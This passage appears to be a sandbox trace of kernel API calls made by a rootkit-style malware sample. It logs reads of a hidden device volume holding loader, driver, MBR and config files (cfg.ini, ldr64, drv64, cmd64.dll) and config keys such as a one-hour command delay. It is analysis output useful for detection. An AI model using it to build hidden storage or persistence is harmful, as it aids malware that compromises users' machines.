(_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.055] KeLeaveCriticalRegion () [0121.055] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.055] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.055] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.055] KeEnterCriticalRegion () [0121.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.055] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.055] IdePortDispatch () returned 0x103 [0121.055] KeWaitForMutexObject () returned 0x0 [0121.055] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.055] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.055] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.055] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.055] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.055] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.055] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.055] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.055] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.055] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.055] KeLeaveCriticalRegion () [0121.055] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.056] ReleaseMutex (hMutex=0x100) returned 1 [0121.056] Sleep (dwMilliseconds=0x2bf20) [0121.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b59c5d0, dwHighDateTime=0x1d24fa4)) [0121.062] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.062] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.062] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.062] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.062] KeEnterCriticalRegion () [0121.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.063] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.063] IdePortDispatch () returned 0x103 [0121.063] KeWaitForMutexObject () returned 0x0 [0121.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.063] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.064] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.064] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.064] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.064] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd9b0 [0121.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.064] KeLeaveCriticalRegion () [0121.064] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.064] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.064] KeEnterCriticalRegion () [0121.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.064] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.064] KeLeaveCriticalRegion () [0121.064] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.064] KeEnterCriticalRegion () [0121.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.064] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.064] IdePortDispatch () returned 0x103 [0121.064] KeWaitForMutexObject () returned 0x0 [0121.064] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.064] KeLeaveCriticalRegion () [0121.064] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.064] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.064] KeEnterCriticalRegion () [0121.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.064] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800355e000 [0121.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.064] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.064] IdePortDispatch () returned 0x103 [0121.065] KeWaitForMutexObject () returned 0x0 [0121.065] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.065] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.065] IdePortDispatch () returned 0x103 [0121.065] KeWaitForMutexObject () returned 0x0 [0121.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.065] KeLeaveCriticalRegion () [0121.065] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.066] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.066] KeEnterCriticalRegion () [0121.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.066] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.066] KeLeaveCriticalRegion () [0121.066] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.066] KeEnterCriticalRegion () [0121.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.066] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.066] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3e70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.066] KeLeaveCriticalRegion () [0121.066] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.066] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.066] KeEnterCriticalRegion () [0121.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.066] ExFreePoolWithTag (P=0xfffffa8003bbd9b0, Tag=0x0) [0121.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.066] KeLeaveCriticalRegion () [0121.066] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.066] ReleaseMutex (hMutex=0xf0) returned 1 [0121.066] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.072] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.072] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.072] KeEnterCriticalRegion () [0121.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.072] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.072] IdePortDispatch () returned 0x103 [0121.072] KeWaitForMutexObject () returned 0x0 [0121.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.073] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.073] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.073] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.073] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.073] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe2a0 [0121.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.073] KeLeaveCriticalRegion () [0121.073] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.073] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.073] KeEnterCriticalRegion () [0121.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.073] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.073] KeLeaveCriticalRegion () [0121.073] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.073] KeEnterCriticalRegion () [0121.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.073] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.073] IdePortDispatch () returned 0x103 [0121.073] KeWaitForMutexObject () returned 0x0 [0121.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.073] KeLeaveCriticalRegion () [0121.073] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.073] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.073] KeEnterCriticalRegion () [0121.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003571000 [0121.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.074] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.074] IdePortDispatch () returned 0x103 [0121.074] KeWaitForMutexObject () returned 0x0 [0121.074] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.074] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.074] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.074] IdePortDispatch () returned 0x103 [0121.074] KeWaitForMutexObject () returned 0x0 [0121.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.075] KeLeaveCriticalRegion () [0121.075] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.075] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.075] KeEnterCriticalRegion () [0121.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.075] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.075] KeLeaveCriticalRegion () [0121.075] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.075] KeEnterCriticalRegion () [0121.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.075] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.075] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.075] KeLeaveCriticalRegion () [0121.075] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.075] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.075] KeEnterCriticalRegion () [0121.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.075] ExFreePoolWithTag (P=0xfffffa8003bbe2a0, Tag=0x0) [0121.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.076] KeLeaveCriticalRegion () [0121.076] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.076] ReleaseMutex (hMutex=0xf0) returned 1 [0121.076] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.076] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.076] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.076] KeEnterCriticalRegion () [0121.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.076] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.076] IdePortDispatch () returned 0x103 [0121.076] KeWaitForMutexObject () returned 0x0 [0121.076] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.076] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.076] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.076] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.076] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.076] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe190 [0121.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.076] KeLeaveCriticalRegion () [0121.076] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.076] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.076] KeEnterCriticalRegion () [0121.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.076] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.076] KeLeaveCriticalRegion () [0121.076] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.076] KeEnterCriticalRegion () [0121.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.076] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.077] IdePortDispatch () returned 0x103 [0121.077] KeWaitForMutexObject () returned 0x0 [0121.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.077] KeLeaveCriticalRegion () [0121.077] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.077] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.077] KeEnterCriticalRegion () [0121.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.077] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003572000 [0121.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.077] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.077] IdePortDispatch () returned 0x103 [0121.077] KeWaitForMutexObject () returned 0x0 [0121.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.077] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.077] IdePortDispatch () returned 0x103 [0121.077] KeWaitForMutexObject () returned 0x0 [0121.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.078] KeLeaveCriticalRegion () [0121.078] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.078] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.078] KeEnterCriticalRegion () [0121.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.078] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.078] KeLeaveCriticalRegion () [0121.078] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.078] KeEnterCriticalRegion () [0121.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.078] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.078] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.078] KeLeaveCriticalRegion () [0121.078] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.078] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: 